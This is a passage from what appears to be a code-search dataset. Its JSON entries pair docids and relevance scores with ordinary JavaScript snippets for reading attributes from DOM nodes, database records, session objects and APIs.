attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.5291336", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.5291336", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.5291336", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "0baffd005b6f3c3f8f80bfdcc2314f7e", "score": "0.5291336", "text": "function _getAttribute(obj, options) {\n if(typeof options === 'string') {\n options = {shortName: options};\n }\n\n var rval = null;\n var attr;\n for(var i = 0; rval === null && i < obj.attributes.length; ++i) {\n attr = obj.attributes[i];\n if(options.type && options.type === attr.type) {\n rval = attr;\n } else if(options.name && options.name === attr.name) {\n rval = attr;\n } else if(options.shortName && options.shortName === attr.shortName) {\n rval = attr;\n }\n }\n return rval;\n}", "title": "" }, { "docid": "ade6e95bbec3b6c36f5c5c687aa6ad58", "score": "0.52532995", "text": "getAttribute() {}", "title": "" }, { "docid": "cc3328871bd3ffaf5f5cbbc4dad0d8b4", "score": "0.5236577", "text": "async checkAttribute(ctx, commKey) {\n console.info('Get attribute', commKey);\n\n let customerBytes = await ctx.stub.getState(commKey);\n\n var customer = JSON.parse(customerBytes);\n console.info('Customer attribute: ', customer.name);\n\n return 'Customer attribute:' + customer.name;\n }", "title": "" }, { "docid": "fa0cfed3096be21494468d11e1ad48a8", "score": "0.52198756", "text": "function extractValue(attr, intent, session){\n \n console.log(\"Extracting \" +attr);\n \n if (session.attributes){\n if (attr in session.attributes) {\n console.log (\"Session attribute \"+ attr +\" is \" + session.attributes[attr]); \n return session.attributes[attr];\n }\n }\n \n console.log(\"No session attribute for \"+attr);\n\n if (intent.slots){\n if (attr in intent.slots && 'value' in intent.slots[attr]){\n return intent.slots[attr].value;\n }\n };\n return null;\n}", "title": "" }, { "docid": "78c9356b6f17503e7baec549e6a355c0", "score": "0.5212769", "text": "function attr(docOrElem,selector,attr,index){var elem=index?docOrElem.querySelectorAll(selector).item(index):docOrElem.querySelector(selector);return elem?elem.getAttribute(attr):null}", "title": "" }, { "docid": "807d6a7f2b4091d18d38afeb8ef50e67", "score": "0.5206651", "text": "function getAttr(node, name) {\n if (node && node.jquery) node = node[0];\n return (node && node.getAttribute && node.getAttribute(name)) || null;\n }", "title": "" }, { "docid": "b1cd8c52c2c9aff6e22ddf3da5e1b87b", "score": "0.51591843", "text": "function Attraction({match:{params:{id}}}) {\n const [attraction, setAttraction] = useState()\n useEffect(()=>{\n //.then(({data})) = destructor data retrieved\n axios(`http://localhost:8080/api/attractions/${id}`).then(({data})=>{\n setAttraction(data)\n })\n console.log(id)\n },[])\n return (\n //nullsave if want I want is null, then I wont access it.\n <div>\n name:{attraction?.name}\n <Location city={attraction?.location.city} state={attraction?.location.state}/>\n </div>\n )\n}", "title": "" }, { "docid": "86363b04a0118efc3965afa074eb556a", "score": "0.51438874", "text": "function getAttribute (params) {\n var attributeValue;\n\n if (!this.exists(params.selector)) {\n return;\n }\n\n if (params.attribute === '@text') {\n attributeValue = this.getElementInfo(params.selector).text;\n } else {\n attributeValue = this.getElementAttribute(params.selector,\n params.attribute);\n }\n\n if (attributeValue && params.modifier) {\n var regexpModifier = new RegExp(params.modifier);\n var matchedRegexp = regexpModifier.exec(attributeValue);\n if (!matchedRegexp) {\n return;\n }\n // Try to get a captured group, return the matched string if there is no capture group\n attributeValue = matchedRegexp[1] || matchedRegexp[0];\n }\n\n //when getting an HTML attribute, '' is equivalent of not existing, so undefined\n if (attributeValue === '') {\n return;\n }\n return attributeValue;\n}", "title": "" }, { "docid": "834b30e48e092c2efa7b2c68c87b3d40", "score": "0.5087843", "text": "function getFamilyAttr(id, role, attr) {\n return entityDict.INDI[entityDict.FAM[id][role]][attr];\n}", "title": "" }, { "docid": "8bdca742b17d278ac63e113b4d91251a", "score": "0.5081487", "text": "function uniqueAttr(object, attr) {\n try {\n return object[0].$[attr];\n } catch (e) {\n return null;\n }\n}", "title": "" }, { "docid": "0f8f5b2f534903ff230aea7980e72884", "score": "0.50758624", "text": "function getQTIAttribute(htmlElem, attribute) {\n let xmlElem = QTI.ROOT.querySelector(\"#\"+htmlElem.getAttribute(\"id\"));\n return xmlElem.getAttribute(attribute);\n}", "title": "" }, { "docid": "a55ae273e99e88fe7432d2d15b0a7240", "score": "0.50458187", "text": "function getAuthorization(uuid) {\n return $http.get(GlobalService.serverBaseUri + '/devices/authorized/' + uuid, { timeout: 3000 });\n }", "title": "" }, { "docid": "004f65bf062bc85b301aa04ce5f82f0f", "score": "0.50205463", "text": "getAttr(name, xmlns) {\n if (!xmlns) {\n return this.attrs[name];\n }\n\n const namespaces = this.getXmlns();\n\n if (!namespaces[xmlns]) {\n return null;\n }\n\n return this.attrs[[namespaces[xmlns], name].join(\":\")];\n }", "title": "" }, { "docid": "111f99c0077a43152b9fdf8a7a698e89", "score": "0.50165355", "text": "getByUuid(uuid) {\n return this.data.filter(e => e.uuid === uuid);\n }", "title": "" }, { "docid": "6498908e3a6f6df3166dd010a184a0cb", "score": "0.5002943", "text": "function getAttribute(entry, attr = 'password') {\n\t\treturn my.getDecryptedAttribute(entry, attr);\n\t}", "title": "" }, { "docid": "f4fdccdf833061f0999ddad4561c83ea", "score": "0.49899182", "text": "getCredentialAttribute() {}", "title": "" }, { "docid": "f51712117c9aea399a0a6d10c6eafcff", "score": "0.49747875", "text": "function _getAttribute(obj,options){if(typeof options==='string'){options={shortName:options};}var rval=null;var attr;for(var i=0;rval===null&&i<obj.attributes.length;++i){attr=obj.attributes[i];if(options.type&&options.type===attr.type){rval=attr;}else if(options.name&&options.name===attr.name){rval=attr;}else if(options.shortName&&options.shortName===attr.shortName){rval=attr;}}return rval;}", "title": "" }, { "docid": "cd25461609a9ba849e56dd3b1b775586", "score": "0.49537152", "text": "function _getAction(el, defaultValue) {\n\n var action = _getDataAttribute(el, 'trgaActionName') || defaultValue;\n\n return action;\n }", "title": "" }, { "docid": "b8a2819ece505e335e63a5586bb49d53", "score": "0.49492034", "text": "function getFirstAttribute(attributes) {\n\n for (var i in attributes) {\n if (attributes.hasOwnProperty(i) && typeof(i) !== \"function\") {\n return i;\n }\n }\n return null;\n }", "title": "" }, { "docid": "10274ba2806e413b76443baa397758e2", "score": "0.49487785", "text": "function getAttribute(node, name){\n\treturn node.attributes[name].value;\n}", "title": "" }, { "docid": "83c9ad82c62edf3346511c315eab6700", "score": "0.49437156", "text": "async getAttractions(config = {}) {\n let result = null;\n let url = null;\n\n if (config.hasOwnProperty('park') && config.park) {\n url = baseUrl + '/parks/' + config.park + '/attractions';\n } else {\n url = baseUrl + '/attractions';\n }\n\n try {\n let response = await Axios.get(url + buildQuery(config));\n result = response.data;\n } catch (error) {\n console.error(error);\n }\n\n return result;\n }", "title": "" }, { "docid": "66feddd1b7cb857d628dbc30c04c730e", "score": "0.4939821", "text": "async getAttractions(config = {}) {\n let result = null;\n let url = null;\n\n if (config.hasOwnProperty('park') && config.park) {\n url = this.baseUrl + '/parks/' + config.park + '/attractions';\n } else {\n url = this.baseUrl + '/attractions';\n }\n\n try {\n let response = await Axios.get(url + this.buildQuery(config));\n result = response.data;\n } catch (error) {\n console.error(error)\n }\n\n return result;\n }", "title": "" }, { "docid": "691a1d2ee434aa4fadfd86c36bde674c", "score": "0.4939596", "text": "function getAttributeWebId(attributePath, successCallBack, errorCallBack) {\n baseUrlCheck();\n var url = base_service_url + \"attributes?path=\" + attributePath;\n return processJsonContent('GET', null, url, successCallBack, errorCallBack);\n }", "title": "" }, { "docid": "e664ba0c2e770fa5b841075b30b9551b", "score": "0.49268815", "text": "function attr (input, args, meta) { return (input[0] || input).attribs[args] }", "title": "" }, { "docid": "9accbeb4770092ea1e0a483339e0fab5", "score": "0.49230245", "text": "function getItem(collection, uuid, err){\n\t\tcollection.fetch(\n\t\t\tfunction(err, data){\n\t\t\t\tif (err){\n\t\t\t\t\talert(\"read failed\");\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\tvar found = false;\n\t\t\t\t\twhile(collection.hasNextEntity()){\n\t\t\t\t\t\tvar a = collection.getNextEntity();\n\t\t\t\t\t\tif(uuid == a.get('uuid')){\n\t\t\t\t\t\t\treturn a;\n\t\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(!found){\n\t\t\t\t\t\tconsole.log(\"no item found\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t}", "title": "" }, { "docid": "c81dc2dc1c271b9d0f2e21ce41e13b5c", "score": "0.4914831", "text": "function getDomAttribute(elementType, attribute, searchTopDown) {\n\t if (searchTopDown === void 0) { searchTopDown = false; }\n\t if (typeof (document) === \"undefined\") {\n\t return null;\n\t }\n\t var foundElement = getDomElement(elementType, attribute, undefined, searchTopDown);\n\t if (foundElement == null) {\n\t return null;\n\t }\n\t return foundElement.getAttribute(attribute);\n\t}", "title": "" }, { "docid": "0e2d798af70db4916a365132779e8c80", "score": "0.48991293", "text": "async getAUserByUuid (table, uuid) {\n\t\tconst user = await table.findOne({\n\t\t\twhere: { uuid },\n\t\t\tattributes: {\n\t\t\t\texclude: [\n\t\t\t\t\t'password',\n\t\t\t\t\t'createdAt',\n\t\t\t\t\t'updatedAt'\n\t\t\t\t]\n\t\t\t}\n\t\t});\n\t\treturn user;\n\t}", "title": "" }, { "docid": "0a4947bf71e78d8af7dfeca07e551553", "score": "0.4893562", "text": "function getNodeAttr(node, name) {\n const attrs = tree.getAttrList(node);\n if (attrs === undefined) {\n return;\n }\n\n return attrs.find(attr => attr.name === name);\n}", "title": "" }, { "docid": "5129e0308823c95685e0ba3defce547b", "score": "0.4893327", "text": "function findAttribute(logs, eventType, attrKey) {\n var _a;\n const firstLogs = logs.find(() => true);\n const out = (_a = firstLogs === null || firstLogs === void 0 ? void 0 : firstLogs.events.find((event) => event.type === eventType)) === null || _a === void 0 ? void 0 : _a.attributes.find((attr) => attr.key === attrKey);\n if (!out) {\n throw new Error(`Could not find attribute '${attrKey}' in first event of type '${eventType}' in first log.`);\n }\n return out;\n}", "title": "" }, { "docid": "c1656408281829dd9b9723b683594950", "score": "0.4891578", "text": "get_resource_action(action) {\n return { 'action': 'more-info'};\n }", "title": "" }, { "docid": "79d1b2aab26c05933bdb42c803b7d042", "score": "0.48860362", "text": "function att(typeNumOrGUID) {\n var returnTypeNum = null;\n try {\n returnTypeNum = ArisData.getActiveDatabase().ActiveFilter().UserDefinedAttributeTypeNum(typeNumOrGUID); \n if (returnTypeNum==-1) returnTypeNum = null; \n } catch (e) {};\n\n if ((returnTypeNum == null) && !isNaN(typeNumOrGUID)) {\n try {\n returnTypeNum = parseInt(typeNumOrGUID);\n } catch (e) {}\n }\n if (returnTypeNum == null && Constants[typeNumOrGUID]!=null) {\n returnTypeNum = Constants[typeNumOrGUID]; \n } \n if (returnTypeNum == null && typeof CustomConstants !== 'undefined' && CustomConstants[typeNumOrGUID]!=null ) {\n returnTypeNum = CustomConstants[typeNumOrGUID]; \n } \n if (null == returnTypeNum) throw typeNumOrGUID + \"\\nis not valid!\";\n return returnTypeNum;\n}", "title": "" }, { "docid": "f9cdd5d0aca6b73c7b1e47522b388e49", "score": "0.48825943", "text": "async findAWalletByUuid (\n\t\tWallet,\n\t\tuuid,\n\t\texclude = [\n\t\t\t'refrence_id'\n\t\t]\n\t) {\n\t\tconst wallet = await Wallet.findOne({\n\t\t\twhere: { uuid },\n\t\t\tattributes: { exclude }\n\t\t});\n\t\treturn wallet;\n\t}", "title": "" }, { "docid": "8c12c7572711eb5066ad663467da3436", "score": "0.48794937", "text": "function ContextAttribute(map, action, elasticattribute) {\n\tvar a; return (a = at_xpath(map, action + \"/attributes/*[@elastic='\" \n\t\t+ elasticattribute + \"']\")) ? a.nodeName : '';\n}", "title": "" }, { "docid": "32de63500daf793663c6db64848bc45c", "score": "0.4875151", "text": "function getAttribute (db, user, attribute, cb) {\n const attributeQuery = {_id: 0};\n attributeQuery[attribute] = 1;\n db.collection(userCollection).find({user: user}, attributeQuery).toArray(function (mongoError, dbResult) {\n if (mongoError) throw mongoError;\n db.close();\n util.call(cb, dbResult[0][attribute]);\n })\n}", "title": "" }, { "docid": "c9d50d53e2288040d75856afe5a3e21d", "score": "0.48355824", "text": "function elementGetAtt(att,force) {\r\n\tif ( (!force) && (att in this.atts)) return this.atts[att]\r\n\tvar out = this.it.getAttribute(att)\r\n\tif (out==undefined) out = null\r\n\telse this.atts[att] = out\r\n\treturn out\t}", "title": "" }, { "docid": "33acc4ae93b58de20aacb74c9463fc02", "score": "0.48245025", "text": "_getActionImg(action) {\r\n const img = {\r\n 0: \"icons/svg/mystery-man.svg\",\r\n 1: \"systems/pf2e/icons/actions/OneAction.png\",\r\n 2: \"systems/pf2e/icons/actions/TwoActions.png\",\r\n 3: \"systems/pf2e/icons/actions/ThreeActions.png\",\r\n \"free\": \"systems/pf2e/icons/actions/FreeAction.png\",\r\n \"reaction\": \"systems/pf2e/icons/actions/Reaction.png\",\r\n \"passive\": \"systems/pf2e/icons/actions/Passive.png\",\r\n };\r\n return img[action];\r\n }", "title": "" }, { "docid": "0d87cd9660d33b5112444d036049aa97", "score": "0.48136687", "text": "_getActionImg(action) {\n const img = {\n 0: \"icons/svg/mystery-man.svg\",\n 1: \"systems/pf2e/icons/actions/OneAction.png\",\n 2: \"systems/pf2e/icons/actions/TwoActions.png\",\n 3: \"systems/pf2e/icons/actions/ThreeActions.png\",\n \"free\": \"systems/pf2e/icons/actions/FreeAction.png\",\n \"reaction\": \"systems/pf2e/icons/actions/Reaction.png\",\n \"passive\": \"systems/pf2e/icons/actions/Passive.png\",\n };\n return img[action];\n }", "title": "" }, { "docid": "69a1f089b857949f77ffc8ed89cc2d38", "score": "0.47930792", "text": "function getAttribute(el, name) {\n var value = el.getAttribute(name);\n if (!value) {\n throw new Error('Missing required attribute: ' + name);\n }\n return value;\n }", "title": "" }, { "docid": "99d56830404d7063500fbaf4743a25a8", "score": "0.47768116", "text": "function getActionAttributes() {\n\n var attribute = {};\n\n var hidden = null;\n\n hidden = getActionControl('hdnSecurityRequestId');\n attribute.securityRequestId = ((hidden === undefined) || (hidden == null)) ? '' : hidden.value.trim();\n\n hidden = getActionControl('hdnSecurityRequestTypeId');\n attribute.securityRequestTypeId = ((hidden === undefined) || (hidden == null)) ? '' : hidden.value.trim();\n\n hidden = getActionControl('hdnSecurityRequestSubTypeId');\n attribute.securityRequestSubTypeId = ((hidden === undefined) || (hidden == null)) ? '' : hidden.value.trim();\n\n hidden = getActionControl('hdnSecurityRequestStageId');\n attribute.securityRequestStageId = ((hidden === undefined) || (hidden == null)) ? '' : hidden.value.trim();\n\n hidden = getActionControl('hdnSecurityRequestStatusId');\n attribute.securityRequestStatusId = ((hidden === undefined) || (hidden == null)) ? '' : hidden.value.trim();\n\n hidden = getActionControl('hdnOwnerEmployeeNo');\n attribute.ownerEmployeeNo = ((hidden === undefined) || (hidden == null)) ? '' : hidden.value.trim();\n\n hidden = getActionControl('hdnCurrentEmployeeId');\n attribute.currentEmployeeNo = ((hidden === undefined) || (hidden == null)) ? '' : hidden.value.trim();\n\n return attribute;\n}", "title": "" }, { "docid": "83a643005e86fb663cba063998fe3f6e", "score": "0.47754434", "text": "static getSingleAttribute (attribute) {\n\n\t\tlet singleAttribute = localStorage.getItem(attribute);\n\n\t\treturn singleAttribute;\n\t}", "title": "" }, { "docid": "3fe06c4364ee8bce28683f5d4530f739", "score": "0.47559303", "text": "function queryPrivateAttribute (name, value) {\n return cache[name].get(value)\n //\n // for (var element of privateAttributes.keys()) {\n // if (getPrivateAttribute(element, name) === value) {\n // return element\n // }\n // }\n\n// return null\n}", "title": "" }, { "docid": "c2ef84b55d4cdaa25272f902b1f3a24a", "score": "0.475293", "text": "function ElasticAttribute(map, action, watsonattribute) {\n\tvar a; return (a = at_xpath(map, action + \"/attributes/*[@watson='\" \n\t\t+ watsonattribute + \"']\")) ? a.getAttribute('elastic') : '';\n}", "title": "" }, { "docid": "57ace01af2da02c776524cc08b90fbeb", "score": "0.47476348", "text": "async findAWalletByUser (\n\t\tWallet,\n\t\tuuid,\n\t\texclude = [\n\t\t\t'refrence_id'\n\t\t]\n\t) {\n\t\tconst wallet = await Wallet.findOne({\n\t\t\twhere: { user_uuid: uuid },\n\t\t\tattributes: { exclude }\n\t\t});\n\t\treturn wallet;\n\t}", "title": "" }, { "docid": "71d61c7df8960feaa89ff96a7eaeaa60", "score": "0.47380936", "text": "get uuid() \t{ return String(this.getDataValue(\"uuid\")); }", "title": "" }, { "docid": "333df607d0cd02c2613d757ae3230c26", "score": "0.47359645", "text": "function attributeHistoryById(attributeHistoryId){\n for(var i=0; i<selectedAttributeHistory.length; i++){\n if (attributeHistoryId==selectedAttributeHistory[i].id) return selectedAttributeHistory[i];\n }\n alert(\"Error - no attribute history with id: \"+attributeHistoryId);\n return null;\n}", "title": "" }, { "docid": "c587548cc5c21bc679b88daa2cb87b2c", "score": "0.47151196", "text": "function filter(data, attribute, match) {\n\t\tfor (var i = 0; i < data.length; i++) {\n\t\t\tif (data[i][attribute] == match) {\n\t\t\t\treturn data[i];\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}", "title": "" }, { "docid": "58db3215eae6c1a16f3e409ee266cc74", "score": "0.46994457", "text": "function get_actor(request_actorname){\r\n for(let x of actors){\r\n if(x.actorname === request_actorname){\r\n return x;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "5cbadbdf2940ee97cddcd5338f7fe078", "score": "0.46992627", "text": "function getAttribute() {\n var node = {\n type: 'Attribute',\n info: getInfo(),\n name: null,\n operator: null,\n value: null,\n flags: null\n };\n\n eat(TokenType.LeftSquareBracket);\n\n readSC();\n\n node.name = getNamespacedIdentifier(true);\n\n readSC();\n\n if (scanner.token !== null && scanner.token.type !== TokenType.RightSquareBracket) {\n node.operator = readAttrselector();\n\n readSC();\n\n if (scanner.token !== null && scanner.token.type === TokenType.String) {\n node.value = getString();\n } else {\n node.value = getIdentifier(false);\n }\n\n readSC();\n\n // attribute flags\n if (scanner.token !== null && scanner.token.type === TokenType.Identifier) {\n node.flags = scanner.token.value;\n\n scanner.next();\n readSC();\n }\n }\n\n eat(TokenType.RightSquareBracket);\n\n return node;\n}", "title": "" }, { "docid": "5362b0e7894ec41e13677ffdef064a0c", "score": "0.46635297", "text": "function getAttrVal(obj,aname){\n\ttry{\n\tif (obj.attributes){\n\t\tif (isNav6) {if (obj.attributes.getNamedItem(aname)){\n\t\t\treturn (obj.attributes.getNamedItem(aname).nodeValue);\n\t\t}}\n\t\tif (isIE4) {if (obj.attributes.item(aname)){if (obj.attributes.item(aname).nodeValue){\n\t\t\treturn (obj.attributes.item(aname).nodeValue);\n\t\t}}}\n\t}}\n\tcatch(er){\n\t}\n\treturn('unknown');\n}", "title": "" }, { "docid": "2d574f640be52081453223d1ddb33b78", "score": "0.46567374", "text": "_readCharacteristic(characteristicUuid) {\r\n let characteristic = this._characteristics.get(characteristicUuid);\r\n console.log(\"read this char: \" + characteristicUuid);\r\n console.log(\"this is thechar: \" + characteristic);\r\n return characteristic.readValue()\r\n .then(value => {console.log('value: ' + value);\r\n return value;\r\n });\r\n\r\n }", "title": "" }, { "docid": "c4d7993ba078452edca4726a0bf5f75e", "score": "0.46547207", "text": "info(actionID) {\n const result = this.doRequest({\n path: `/action/${actionID}`,\n method: \"GET\",\n });\n return result;\n }", "title": "" }, { "docid": "4f730f22280966395d1903e9199a5d65", "score": "0.46452984", "text": "function _getUuid(req){\n if(req && req.uuid) return req.uuid;\n return DEFAULT_TRACE_MESSAGE;\n}", "title": "" }, { "docid": "98e03214246eef26c4117efb2ad45b70", "score": "0.46381718", "text": "function getIndividualAttr(id, attr) {\n return entityDict.INDI[id][attr];\n}", "title": "" }, { "docid": "2c953adb55ce1195585f8e6239631fbc", "score": "0.4638127", "text": "grabAttributeFrom(locator, attr) {\n return this.browser.findElement(guessLocator(locator) || by.css(locator)).getAttribute(attr);\n }", "title": "" }, { "docid": "c6eef7c11a8e746f134c29a8fe621d4a", "score": "0.46354052", "text": "async function getData() {\n const res = await fetch(`/cowork/api/attraction/${attractionId}`);\n const data = await res.json();\n attractionData = data[\"data\"];\n}", "title": "" }, { "docid": "8051a94284b26c399f3638a560e4959d", "score": "0.46315697", "text": "function seeAttributeNode(idElement, attributeSee) {\n\n if (idElement == undefined && attributeSee == undefined) {\n console.error(`${msj.seeAttributeNode} sin parametros`);\n return false;\n }\n else if (idElement == undefined || attributeSee == undefined) {\n console.error(`${msj.seeAttributeNode} faltan parametros.`);\n return false;\n }\n else if (document.getElementById(idElement) == null) {\n console.error(`${msj.seeAttributeNode} parametro id no existe.`);\n return false;\n }\n else if (typeof(idElement, attributeSee) == 'string') {\n let element = document.getElementById(idElement);\n let attribute = element.getAttribute(attributeSee);\n\n if (attribute == null) {\n return false;\n }\n else {\n return attribute;\n }\n }\n }", "title": "" }, { "docid": "624a2b647e8a26e9bd34a309a1f3a454", "score": "0.46289197", "text": "function _attr ( elem, types, method ) {\n\t\t\t\n\t\t\t// get attribute\n\t\t\t// string\n\t\t\tif ( 'string' === typeof types ) {\n\t\t\t\t\n\t\t\t\treturn elem[method]( _diff[types] || types );\n\t\t\t\n\t\t\t// del or set attribute\n\t\t\t// object\n\t\t\t} else {\n\t\n\t\t\t\teach( types, function ( v, k ) {\n\t\n\t\t\t\t\telem[method]( _diff[k] || k, v );\n\t\n\t\t\t\t});\n\t\t\t\t\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "2a4babc20b07348839cccd75dd970789", "score": "0.46268237", "text": "async checkForFriendship (table, user_uuid, friend_uuid) {\n\t\tconst friend = await table.findOne({\n\t\t\twhere: { user_uuid, friend_uuid },\n\t\t\tattributes: {\n\t\t\t\texclude: [\n\t\t\t\t\t'createdAt',\n\t\t\t\t\t'updatedAt'\n\t\t\t\t]\n\t\t\t}\n\t\t});\n\t\treturn friend;\n\t}", "title": "" }, { "docid": "70abbce16e8b87fec1616e7ea7e39dc4", "score": "0.46201816", "text": "function attribute($qname) {\n if ((0, _util.isUndef)($qname)) $qname = \"*\";\n return (0, _seq.switchMap)($qname, function (qname) {\n var hasWildcard = /\\*/.test(qname); // getter of attributes / pre-processor of attributes\n // TODO iterator!\n // filter of attributes\n\n var f;\n\n if (hasWildcard) {\n var regex = new RegExp(qname.replace(/\\*/, \"(\\\\w[\\\\w0-9-_]*)\")); //\tattrEntries returns tuples\n\n f = function f(n) {\n return _isAttribute(n) && regex.test(n.name);\n }; // no direct access\n\n\n qname = null;\n } else {\n // name check provided by directAccess\n f = function f(n) {\n return _isAttribute(n);\n };\n }\n\n return Axis(_attrGet.bind(null, qname), (0, _seq.filter)(f), 2);\n });\n}", "title": "" }, { "docid": "b3971fe29fec81669c9b02433c42a855", "score": "0.4606512", "text": "function getAttribute(node, attribute) {\n return checkDOM(node.getAttribute(attribute), `attribute ${attribute}`, node);\n}", "title": "" }, { "docid": "b3971fe29fec81669c9b02433c42a855", "score": "0.4606512", "text": "function getAttribute(node, attribute) {\n return checkDOM(node.getAttribute(attribute), `attribute ${attribute}`, node);\n}", "title": "" }, { "docid": "04dbb81b25fed50fd8e3c9b59e1b1272", "score": "0.4595341", "text": "getGenAttrib(diction,uriEntity,attrib) {\n let nattrib = attrib ;\n\n if (!(uriEntity in diction)) {\n return \"\";\n }\n\n if (!(nattrib in diction[uriEntity])) {\n return \"\";\n }\n\n return diction[uriEntity][nattrib];\n }", "title": "" }, { "docid": "7e90329541e9a2936d14deb2ebdd90b8", "score": "0.45943484", "text": "async getCuidRequest( uuid ){\n\t\tlet request_options= {\n\t\t method: \"POST\",\n\t\t body: JSON.stringify({ 'uuid':uuid })\n\t\t}\n\t\ttry{\n\t\t\tconst response = await fetch(\"https://biz.nanosemantics.ru/api/2.1/json/Chat.init\" , request_options);\n\t\t\tconst data = await response.json();\n\t\t\treturn data.result.cuid\n\t\t}\n\t\tcatch(e){\n\t\t\tconsole.log(e.message);\n\t\t}\n\t}", "title": "" }, { "docid": "3ba589f35e3b5bf1cc60f1841f2a896e", "score": "0.45928764", "text": "function get_claim(attr, eth_addr, ipfsProv, web3Prov){\n var persona = new Persona(eth_addr, ipfsProv, web3Prov);\n return persona.getClaims(attr); \n}", "title": "" }, { "docid": "ba5a960b3d75c521c21eaec9c7f3c9af", "score": "0.45794404", "text": "function _attribute(target, option, mode) {\n var attr = 1;\n \n switch(mode) {\n case \"get\":\n if (target) {\n\t\tattr = target.getAttribute(option);\n\t };\n break;\n \n\t case \"set\":\n\t if (typeof(option) != \"object\") {\n\t\toption = option.split(\"=\");\n\t };\n\t \n\t if (target && option != null) {\n\t\ttarget.setAttribute(option[0], option[1]);\n\t };\n\t break;\n \n default:\n break;\n };\n \n return attr;\n }", "title": "" }, { "docid": "8e01ffa970074837da9fa9f6abeaddab", "score": "0.45610806", "text": "function handleGetProductAttributesIntent(intent, session, callback) {\n const cardTitle = intent.name;\n let sessionAttributes = {};\n \n const productSlot = intent.slots.Product;\n const productAttributeSlot = intent.slots.ProductAttribute;\n let repromptText = \"Please ask a question.\";\n let speechOutput = \"I'm not sure what product or attribute you are referring to.\";\n\n if (productSlot && productAttributeSlot) {\n const productId = getResolutionIdFromSlot(productSlot);\n const attributeId = getResolutionIdFromSlot(productAttributeSlot);\n const productName = getResolutionNameFromSlot(productSlot);\n const attributeName = getResolutionNameFromSlot(productAttributeSlot);\n let attributeValues = get([productId, attributeId], products);\n \n if (attributeValues) {\n if (!(attributeValues instanceof Array)) {\n attributeValues = [attributeValues]\n }\n \n if (attributeValues.length > 1) {\n speechOutput = `${productName} has the following ${attributeName}: ${attributeValues.join(', ')}.`;\n } else {\n speechOutput = `${productName}'s ${attributeName} is ${attributeValues[0]}.`;\n }\n } else {\n speechOutput = `No ${attributeName} found available for ${productName}.`\n }\n }\n\n callback(sessionAttributes, buildSpeechletResponse(cardTitle, speechOutput, repromptText, false));\n}", "title": "" }, { "docid": "2f899320fe860ed3e342ed3791f5456b", "score": "0.45527864", "text": "function getTrOrTableAttribFromTD(td,attrib) {\n\t\t\tlet val = getTrAttribFromTd(td,attrib);\n\t\t\tif (typeof val === \"undefined\") {\n\t\t\t\tval = getTableAttribFromTd(td,attrib);\n\t\t\t}\n\t\t\treturn val;\n\t\t}", "title": "" }, { "docid": "90037ac68f304c255dfc444062013310", "score": "0.45363477", "text": "getAttributeOnLine(lineNum, attributeName) {\n // get `attributeName` attribute of first char of line\n const aline = this.rep.alines[lineNum];\n if (!aline) return '';\n const [op] = Changeset.deserializeOps(aline);\n if (op == null) return '';\n return AttributeMap.fromString(op.attribs, this.rep.apool).get(attributeName) || '';\n }", "title": "" }, { "docid": "49a02a0bb15460af1e345ea682666cad", "score": "0.45271045", "text": "function obtenerOpcion(elem, atrib)\n{\n //var opcion = $(this).attr('value');\n var opcion = elem.attr(atrib);\n return opcion;\n}", "title": "" }, { "docid": "acf95b7dec58bd3bdc91f39d9c4ca77e", "score": "0.4522074", "text": "function getElementOfAttribute(attr, elem) {\n if (elem.tagName == \"BODY\") return null\n return (elem.getAttribute(attr) != null ?\n elem : getElementOfAttribute(attr, elem.parentNode));\n }", "title": "" }, { "docid": "a352290d0ccb5f777a31b7e4d129082f", "score": "0.45198923", "text": "findResource(resource, value, idType = 'id') {\n const urls = {\n user: `users?query=(${idType}=\"${value}\")`,\n item: `inventory/items?query=(${idType}=\"${value}\")`,\n holding: `holdings-storage/holdings/${value}`,\n instance: `inventory/instances/${value}`,\n loan: `circulation/loans?query=(itemId=\"${value}\")`,\n requestsForItem: `request-storage/requests?query=(itemId=\"${value}\")`,\n };\n\n return fetch(`${this.okapiUrl}/${urls[resource]}`, { headers: this.httpHeaders }).then(response => response.json());\n }", "title": "" }, { "docid": "2b02d5af119435669112e8a2ff5d9a0f", "score": "0.45101625", "text": "function getElementAttr(element, attribute) {\n val = $(element).attr(attribute);\n return (val != null && $.trim(val) != '') ? $.trim(val) : null;\n }", "title": "" }, { "docid": "30b8aa20f72d39e6c7677d38784a83cc", "score": "0.4506797", "text": "userIdToAvatar(id) {\n if (this.props.slackUsers == undefined) {\n return undefined;\n }\n\n let user = this.props.slackUsers.find(member => {\n return member.id == id;\n });\n\n return user == undefined ? undefined : user.profile.image_48;\n }", "title": "" }, { "docid": 